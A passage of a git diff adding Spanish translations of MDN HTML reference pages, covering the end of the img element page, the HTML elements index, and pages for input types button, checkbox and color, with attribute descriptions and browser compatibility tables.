+   <td>{{SpecName('HTML WHATWG', 'embedded-content.html#the-img-element', '&lt;img&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'embedded-content-0.html#the-img-element', '&lt;img&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/objects.html#h-13.2', '&lt;img&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>srcset</code></td>
+   <td>{{CompatChrome(34.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("32.0")}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(21)}}</td>
+   <td>{{CompatSafari(7.1)}}</td>
+  </tr>
+  <tr>
+   <td><code>referrerpolicy</code></td>
+   <td>{{CompatChrome(46.0)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("42.0")}}<sup>[3]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>srcset</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(34.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>21</td>
+   <td>iOS 8</td>
+   <td>{{CompatChrome(34.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>referrerpolicy</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(46.0)}} [1]</td>
+   <td>{{CompatGeckoMobile("42.0")}}<sup>[3]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(46.0)}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Implementado como <code>referrerpolicy</code>  y tras una bandera.</p>
+
+<p>[2] Implementado tras una preferencia.</p>
+
+<p>[3] Desde Firefox 42 a Firefox 44, el atributo se llamó <code>referrer</code>.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTMLElement("picture")}}, {{HTMLElement("object")}} and {{HTMLElement("embed")}} elements</li>
+</ul>
+</div>
+</article>
diff --git a/files/es/web/html/elemento/index.html b/files/es/web/html/elemento/index.html
new file mode 100644
index 0000000000..537ca3cd41
--- /dev/null
+++ b/files/es/web/html/elemento/index.html
@@ -0,0 +1,106 @@
+---
+title: Referencia de Elementos HTML
+slug: Web/HTML/Elemento
+tags:
+  - Elemento
+  - HTML
+  - Referencia
+  - Web
+  - básico
+translation_of: Web/HTML/Element
+---
+<div>{{HTMLSidebar("Elements")}}</div>
+
+<p><span class="seoSummary">Esta página lista todos los {{Glossary("Element","elementos")}} {{Glossary("HTML")}}</span>. Están agrupados por funciones para ayudarte a encontrar lo que tienes en mente con facilidad. Aunque esta guía está escrita para aquellos que son nuevos escribiendo código, se pretende que sea una referencia útil para cualquiera.</p>
+
+<div class="note">
+<p>Para más información básica acerca de los elementos y atributos HTML, vea <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Introduction#Elements_%E2%80%94_the_basic_building_blocks">la sección sobre elementos en el artículo 'Introducción a HTML'</a>.</p>
+</div>
+
+<h2 id="Raíz_principal">Raíz principal</h2>
+
+<p>{{HTMLRefTable("HTML Root Element")}}</p>
+
+<h2 id="Metadatos_del_documento">Metadatos del documento</h2>
+
+<p>Los metadatos contienen información sobre la página. Esto incluye información sobre estilos, <em>scripts</em> y datos que ayudan al <em>software</em> ({{Glossary("search engine", "search engines")}}, {{Glossary("Browser","browsers")}}, etc.) a usar y generar la página. Los metadatos de estilos y <em>scripts</em> pueden estar definidos en la página o estar enlazados a otro fichero que contiene la información.</p>
+
+<p>{{HTMLRefTable("HTML Document Metadata")}}</p>
+
+<h2 id="Seccionamiento_básico">Seccionamiento básico</h2>
+
+<p>{{HTMLRefTable("Sectioning Root Element")}}</p>
+
+<h2 id="Seccionamiento_del_contenido">Seccionamiento del contenido</h2>
+
+<p>Los elementos de seccionamiento del contenido te permiten organizar los contenidos del documento en partes lógicas. Usa los elementos de seccionado para crear una descripción amplia de los contenidos de tu página, incluyendo el encabezado y pie de página y elementos para identificar secciones.</p>
+
+<p>{{HTMLRefTable("HTML Sections")}}</p>
+
+<h2 id="Contenido_del_texto">Contenido del texto</h2>
+
+<p>Utiliza los elementos HTML de contenido del texto para organizar bloques o secciones de contenido colocados entre los tags de apertura{{HTMLElement("body")}} y cierre. Es importante para la {{Glossary("accessibility")}} y el {{Glossary("SEO")}}, que estos elementos se identifiquen con el objetivo o la estructura de ese contenido.</p>
+
+<p>{{HTMLRefTable("HTML Grouping Content")}}</p>
+
+<h2 id="Semántica_del_texto_en_línea">Semántica del texto en línea</h2>
+
+<p>Utilice la semántica del texto en línea HTML para definir el significado, estructura, o el estilo de una palabra, una línea o cualquier pieza arbitraria de texto.</p>
+
+<p>{{HTMLRefTable("HTML Text-Level Semantics")}}</p>
+
+<h2 id="Imagen_y_multimedia">Imagen y multimedia</h2>
+
+<p>HTML soporta varios recursos multimedia como imágenes, audio, y video.</p>
+
+<p>{{HTMLRefTable("multimedia")}}</p>
+
+<h2 id="Contenido_incrustado">Contenido incrustado</h2>
+
+<p>Además de los contenidos multimedia habituales, HTML puede incluir otra variedad de contenidos, aunque no siempre es fácil de interactuar con ellos.</p>
+
+<p>{{HTMLRefTable({"include":["HTML embedded content"], "exclude":["multimedia"]})}}</p>
+
+<h2 id="Scripting">Scripting</h2>
+
+<p>Con el fin de crear contenido dinámico y aplicaciones Web, HTML soporta el uso de lenguajes de scripting, el más prominente es JavaScript. Ciertos elementos soportan esta capacidad.</p>
+
+<p>{{HTMLRefTable("HTML Scripting")}}</p>
+
+<h2 id="Ediciones_demarcadas">Ediciones demarcadas</h2>
+
+<p>Estos elementos permiten proporcionar indicios de que determinadas partes del texto han sido alteradas.</p>
+
+<p>{{HTMLRefTable("HTML Edits")}}</p>
+
+<h2 id="Tablas">Tablas</h2>
+
+<p>Estos elementos son usados para crear y manejar datos tabulados.</p>
+
+<p>{{HTMLRefTable("HTML tabular data")}}</p>
+
+<h2 id="Formularios">Formularios</h2>
+
+<p>HTML provee un número de elementos que pueden usarse conjuntamente para crear formularios los cuales el usuario puede completar y enviar al sitio Web o a una aplicación. Hay una gran cantidad de información acerca de ésto disponible en la <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML forms guide</a>.</p>
+
+<p>{{HTMLRefTable({"include": ["HTML forms"], "exclude":["Deprecated"]})}}</p>
+
+<h2 id="Elementos_Interactivos">Elementos Interactivos</h2>
+
+<p>HTML ofrece una selección de elementos que pueden ayudar a crear objetos de interfaz de usuario interactivos.</p>
+
+<p>{{HTMLRefTable("HTML interactive elements")}}</p>
+
+<h2 id="Componentes_Web">Componentes Web</h2>
+
+<p>Los Componentes Web son una tecnología relacionada con HTML que hacen que sea posible, en esencia, crear y personalizar elementos como si fueran HTML normal. Además, pueden crear versiones personalizadas de los elementos HTML estándar.</p>
+
+<p>{{HTMLRefTable({"include":["Web Components"],"elements":["shadow"]})}}</p>
+
+<h2 id="Elementos_obsoletos_y_en_desuso">Elementos obsoletos y en desuso</h2>
+
+<div class="warning" style="font-size: 14px;">
+<p><strong>Advertencia:</strong> Estos son elementos HTML viejos los cuales están obsoletos y no deben usarse. <strong>Nunca debería usarlos en un nuevo proyecto y debería reemplazarlos en proyectos viejos tan pronto como sea posible.</strong> Se listan aquí solo con propósitos informativos.</p>
+</div>
+
+<p>{{HTMLRefTable({"include":["Deprecated","Obsolete"]})}}</p>
diff --git a/files/es/web/html/elemento/input/botón/index.html b/files/es/web/html/elemento/input/botón/index.html
new file mode 100644
index 0000000000..7fbe354405
--- /dev/null
+++ b/files/es/web/html/elemento/input/botón/index.html
@@ -0,0 +1,254 @@
+---
+title: <input type ="button">
+slug: Web/HTML/Elemento/input/Botón
+tags:
+  - Elemento
+  - Elemento Input
+  - HTML
+  - Referencia
+translation_of: Web/HTML/Element/input/button
+---
+<p>{{HTMLRef}}</p>
+
+<p><span class="seoSummary">El elemento HTML <code><strong>&lt;input type="button"&gt;</strong></code> es una versión específica del elemento <strong><code>&lt;input&gt;</code></strong><code>,</code> que se usa para crear un botón en el que se puede hacer click sin ningún valor por defecto, es decir, <strong>no tiene un comportamiento predeterminado</strong> como por ejemplo <span class="seoSummary"><code><strong>&lt;input type="reset"&gt;</strong></code></span> <span class="seoSummary">. En HTML5  ha sido sustituido  por el elemento <strong><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/button">&lt;button&gt;</a></strong>.</span></span></p>
+
+<p>Los navegadores generan un controlador para un botón clickable sin valor por defecto. El botón puede contener cualquier texto. El controlador puede varíar de un navegador a otro.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="https://developer.mozilla.org/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Categorías de contenido</a></th>
+   <td><a href="https://developer.mozilla.org/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Contenido de flujo</a>, <a href="https://developer.mozilla.org/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content categories#Phrasing content">contenido de fraseo</a>, <a href="https://developer.mozilla.org/en-US/docs/HTML/Content_categories#Interactive_content" title="HTML/Content categories#Interactive content">contenido interactivo</a>, <a href="https://developer.mozilla.org/en-US/docs/HTML/Content_categories#Form_listed" title="HTML/Content categories#Form listed">listado</a>, <a href="https://developer.mozilla.org/en-US/docs/HTML/Content_categories#Form_labelable" title="HTML/Content categories#Form labelable">etiquetable</a>, y elementos <a href="https://developer.mozilla.org/en-US/docs/HTML/Content_categories#Form_submittable" title="HTML/Content categories#Form submittable">entregables</a> con <a href="https://developer.mozilla.org/en-US/docs/HTML/Content_categories#Form-associated_" title="HTML/Content categories#Form-associated ">contenido asociado a los formularios</a>, contenido evidente.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido permitido</th>
+   <td><a href="https://developer.mozilla.org/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">Contenido de fraseo</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omisión de etiquetas</th>
+   <td>Ninguna, las etiquetas de inicio y cierre son obligatorias.</td>
+  </tr>
+  <tr>
+   <th scope="row">Elementos padre permitidos</th>
+   <td>Cualquier elemento que acepte <a href="https://developer.mozilla.org/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">contenido de fraseo</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaz DOM</th>
+   <td><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLButtonElement" title="The HTMLButtonElement interface provides properties and methods (beyond the &lt;button> object interface it also has available to them by inheritance) for manipulating the layout and presentation of button elements."><code>HTMLButtonElement</code></a></td>
+  </tr>
+  <tr>
+   <th scope="row">Tipo de elemento</th>
+   <td>Inline</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Este elemento puede tener cualquiera de los <a href="/en-US/docs/HTML/Global_attributes">atributos globales</a> además de los siguientes:</p>
+
+<dl>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>
+ <p>Este atributo booleano indica que el usuario no puede interactuar con el botón. Si este atributo no está especificado, el botón hereda su configuración del elemento contenedor, por ejemplo, {{HTMLElement("fieldset")}}; si no hay elemento contenedor con el atributo <code><strong>disabled</strong></code> establecido, el botón estará habilitado. El valor de control desactivado no es enviado con el formulario y el evento <code>click</code> <a class="external" href="https://html.spec.whatwg.org/multipage/forms.html#enabling-and-disabling-form-controls:-the-disabled-attribute">no será enviado</a> en los controles desactivados.</p>
+ </dd>
+ <dd>
+ <p>Firefox, al contrario que otros navegadores, <a href="http://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">mantiene por defecto el estado de desactivación dinámico</a> de un {{HTMLElement("button")}} a lo largo de las cargas de la página. Use el atributo {{htmlattrxref("autocomplete","button")}} para controlar esta característica.</p>
+ </dd>
+ <dt>{{htmlattrdef("autofocus")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Este atributo booleano le permite especificar que el botón deba tener el foco cuando la página se cargue, a no ser que el usuario lo anule, por ejemplo, escribiendo en otro cuadro de texto. Únicamente un elemento asociado con los formularios en un documento puede tener este atributo especificado.</dd>
+ <dt>{{htmlattrdef("autocomplete")}} {{non-standard_inline}}</dt>
+ <dd>El uso de este atributo en un {{HTMLElement("button")}} es algo fuera de lo común, y específico de Firefox. Firefox, por defecto y al contrario de otros navegadores, <a href="http://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">mantiene por defecto el estado de desactivación dinámico</a> de un {{HTMLElement("button")}} a lo largo de las cargas de la página. Establecer el valor de este atributo a <code>off</code> (<code>autocomplete="off"</code>) desactiva esta característica.</dd>
+ <dt>{{htmlattrdef("form")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>El elemento del formulario con el que el botón está asociado (es <em>dueño del formulario</em>). El valor del atributo debe ser el atributo <strong>id</strong> de un elemento {{HTMLElement("form")}} en el mismo documento. Si este atributo no está especificado, el elemento <code>&lt;button&gt; </code>debe ser hijo de un elemento "formulario". Este atributo le permite colocar elementos <code>&lt;button&gt;</code> en cualquier lugar de un documento, y no únicamento como hijos del elemento {{HTMLElement("form")}}.</dd>
+ <dt>{{htmlattrdef("formenctype")}}</dt>
+ <dd>Debido a que el elemento de input es un botón de envío, el atributo <code><strong>formenctype</strong></code> especifica el tipo de contenido que se usa para enviar el formulario al servidor. Los valores posibles son:
+ <ul>
+  <li><code>application/x-www-form-urlencoded</code>: Valor por defecto si el atributo no se especifica.</li>
+  <li><code>multipart/form-data</code>: Este valor se usa si un elemento {{HTMLElement("input")}} es usado con el atributo {{htmlattrxref("type","input")}} fijado a <code>file</code>.</li>
+  <li><code>text/plain</code></li>
+ </ul>
+
+ <p>Si este atributo se especifica, ignora el atributo {{htmlattrxref("enctype","form")}} del formulario dueño del botón.</p>
+ </dd>
+ <dt>{{htmlattrdef("formaction")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>La URI de la aplicación que procesa la información enviada por le botón. Si se especifica se anula el atributo {{htmlattrxref("action","form")}} del formulario dueño del botón.</dd>
+ <dt>{{htmlattrdef("formmethod")}}</dt>
+ <dd>Debido a que el elemento input es un botón de envío, el atributo <code><strong>formmethod</strong></code> especifica el método HTTP que el navegador utilizará para enviar el formulario. Los valores posibles son:
+ <ul>
+  <li><code>post</code>: Los datos del formulario son incluidos en su cuerpo y son enviados al servidor.</li>
+  <li><code>get</code>: Los datos del formulario son agregados a la URI del formulario, utilizando un símbolo '?' como separador, la URI resultante es enviada al servidor. Use este método cuando el formulario no tenga efectos secundarios y contenga solo caracteres ASCII.</li>
+ </ul>
+
+ <p>Si se especifica, este atributo anula el atributo {{htmlattrxref("method","form")}} del formulario dueño del elemento.</p>
+ </dd>
+ <dt>{{htmlattrdef("formnovalidate")}}</dt>
+ <dd>Debido a que el elemento de input es un botón de envío, el atributo <code><strong>formnovalidate </strong></code> especifica que el formulario no debe ser validado cuando sea enviado. Si este atributo es especificado, se anula el atributo {{htmlattrxref("novalidate","form")}} del formulario dueño del elemento. Este atributo es Booleano.</dd>
+ <dt>{{htmlattrdef("formtarget")}}</dt>
+ <dd>Debido a que el elemento de input es un botón de envío, el atributo <code><strong>formtarget</strong></code> es un nombre o palabra clave que indica donde mostrar la respuesta recibida después de enviar el formulario. Este es un nombre de, o palabra clave para, un <em>contexto navegable</em> (por ejemplo, pestaña, ventana, o inline frame). Si este atributo es especificado, se sobreescribirá el atributo {{htmlattrxref("target", "form")}} del formulario dueño del elemento. Las siguientes palabras claves tienen significados especiales:
+ <ul>
+  <li>_<code>self</code>: Carga la respuesta en el mismo contexto navegable<em> </em>que el actual. Este valor es el predeterminado si el atributo no es especificado.</li>
+  <li><code>_blank</code>: Carga la respuesta en un nuevo contexto navegable sin nombre.</li>
+  <li><code>_parent</code>: Carga la respuesta en el contexto navegable padre del actual. Si no hay padre, esta opción se comporta igual que <code>_self</code>.</li>
+  <li><code>_top</code>: Carga la respuesta en el contexto navegable superior (es el contexto navegable que es un ancestro del actual y no tiene padre). Si no hay padre, esta opción se comporta igual que <code>_self</code>.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>El nombre del botón que será enviado con los datos del formulario.</dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>El tipo dle botón. Los valores posibles son:
+ <ul>
+  <li><code>submit</code>: El botón envía los datos del formulario al servidor. Este es el valor predeterminado si no se especifica el atributo, o si el atributo es cambiado dinámicamente a un valor inválido o vacío.</li>
+  <li><code>reset</code>: El botón reinicia todos los controles a sus valores iniciales.</li>
+  <li><code>button</code>: El botón no tiene comportamiento predeterminado. Puede haber scripts de la parte del cliente asociados a los eventos del elemento, que serán lanzados cuando el evento ocurra.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("value")}}</dt>
+ <dd>El valor inicial del botón.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Se crea un nuevo input tipo botón con el valor 'Click me'. </p>
+
+<pre class="brush: html">&lt;input type="button" value="Click me"&gt;</pre>
+
+<h2 id="Especificaciónes">Especificaciónes</h2>
+
+<table class="standard-table" style="height: 137px; width: 1065px;">
+ <tbody>
+  <tr>
+   <td>Especificación</td>
+   <td>Status</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'the-button-element.html#the-button-element', '&lt;button&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-button-element', '&lt;button&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.5', '&lt;button&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>formenctype</code> attribute</td>
+   <td>9.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>10.6</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>formmethod</code> attribute</td>
+   <td>9.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>autofocus</code> attribute</td>
+   <td>9.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>9.6</td>
+   <td>5.0</td>
+  </tr>
+  <tr>
+   <td><code>formaction</code> attribute</td>
+   <td>9.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>formenctype</code> attribute</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>formmethod</code> attribute</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>formaction</code> attribute</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<p> </p>
+
+<ul>
+ <li>El elemento genérico {{HTMLElement("input")}} y la interface usada para manipularlo, {{domxref("HTMLInputElement")}}</li>
+ <li>El reemplazo en HTML5 para <strong>&lt;input type="button"&gt;</strong>, el elemento <strong><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/button">&lt;button&gt;</a></strong>.</li>
+</ul>
diff --git a/files/es/web/html/elemento/input/checkbox/index.html b/files/es/web/html/elemento/input/checkbox/index.html
new file mode 100644
index 0000000000..1798198434
--- /dev/null
+++ b/files/es/web/html/elemento/input/checkbox/index.html
@@ -0,0 +1,130 @@
+---
+title: <input type="checkbox">
+slug: Web/HTML/Elemento/input/checkbox
+translation_of: Web/HTML/Element/input/checkbox
+---
+<p><span class="seoSummary">El elemento HTML <strong><code>&lt;input type="checkbox"&gt;</code></strong> es un elemento de entrada que te permite insertar un vector o array de valores. El atributo <strong>value</strong> es usado para definr el valor enviado por el <strong>checkbox</strong>. El atributo <strong>checked</strong> se usa para indicar que el elemento está seleccionado. El atributo <strong>indeterminate</strong> se usa para indicar que el <strong>checkbox</strong> esta en un estado indeterminado (en la mayoria de las plataformas, esto dibuja una linea horizontal que atraviesa el <strong>checkbox</strong>).</span></p>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Este elemento posee los "<a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes">atributos globales</a>".</p>
+
+<dl>
+ <dt>{{htmlattrdef("checked")}}</dt>
+ <dd>
+ <p>Cuando el valor del atributo <strong>type</strong> es <strong><code>checkbox</code></strong>, la presencia de este atributo booleano indica que el control se selecciona de forma predeterminada; de lo contrario, se ignora.</p>
+ </dd>
+ <dt>{{htmlattrdef("value")}}</dt>
+ <dd>El valor inicial de control. Si se omite la propiedad <strong>value</strong>, el resultado<strong> </strong>devuelto al leer esta propiedad será la cadena <strong>on.</strong></dd>
+ <dd>Tenga en cuenta que al volver a cargar la pagina, Gecko y IE  <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=46845#c186">ignorarán el valor especificado en el  código HTML</a>, si el valor se cambió antes de la recarga.</dd>
+ <dt>{{htmlattrdef("indeterminate")}}</dt>
+ <dd>Indica que la casilla de verificación está en un estado indeterminado (en la mayoría de las plataformas, dibuja una línea horizontal a través del checkbox).</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: html">&lt;label&gt;&lt;input type="checkbox" id="cbox1" value="first_checkbox"&gt; Este es mi primer checkbox&lt;/label&gt;&lt;br&gt;
+
+&lt;input type="checkbox" id="cbox2" value="second_checkbox"&gt; &lt;label for="cbox2"&gt;Este es mi segundo checkbox&lt;/label&gt;
+</pre>
+
+<p>Esto crea dos casillas de verificación, que se ven así:</p>
+
+<p>{{EmbedLiveSample("Ejemplo")}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>Especificación</td>
+   <td>Estatus</td>
+  </tr>
+  <tr>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#checkbox-state-(type=checkbox)', '&lt;checkbox&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#checkbox-state-(type=checkbox)', '&lt;checkbox&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#checkbox', '&lt;checkbox&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">Caracteristicas
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th> </th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.7 or earlier")}}</td>
+   <td>2 or earlier</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>type=checkbox</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.7 or earlier")}}<br>
+    {{CompatGeckoDesktop("1.9.2")}} for <code>indeterminate</code> value</td>
+   <td>2</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristicas </th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>type=checkbox</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p id="See_also"> </p>
diff --git a/files/es/web/html/elemento/input/color/index.html b/files/es/web/html/elemento/input/color/index.html
new file mode 100644
index 0000000000..09773888f0
--- /dev/null
+++ b/files/es/web/html/elemento/input/color/index.html
@@ -0,0 +1,308 @@
+---
+title: <input type="color">
+slug: Web/HTML/Elemento/input/color
+tags:
+  - Elemento
+  - Entrada
+  - Formulários HTML
+  - HTML
+  - Referencia
+  - Selector de colores
+  - color
+  - formulários
+translation_of: Web/HTML/Element/input/color
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">Los elementos {{HTMLElement("input")}} del tipo «<code><strong>color</strong></code>» proporciona un elemento de interfaz de usuario que permite a los usuarios especificar un color, bien mediante una interfaz visual de selección, bien a través de un cuadro de texto donde ingresar un valor hexadecimal en el formato «<code>#rrggbb</code>».</span> Solo se permiten colores simples (sin canal alfa). Los valores son compatibles con CSS.</p>
+
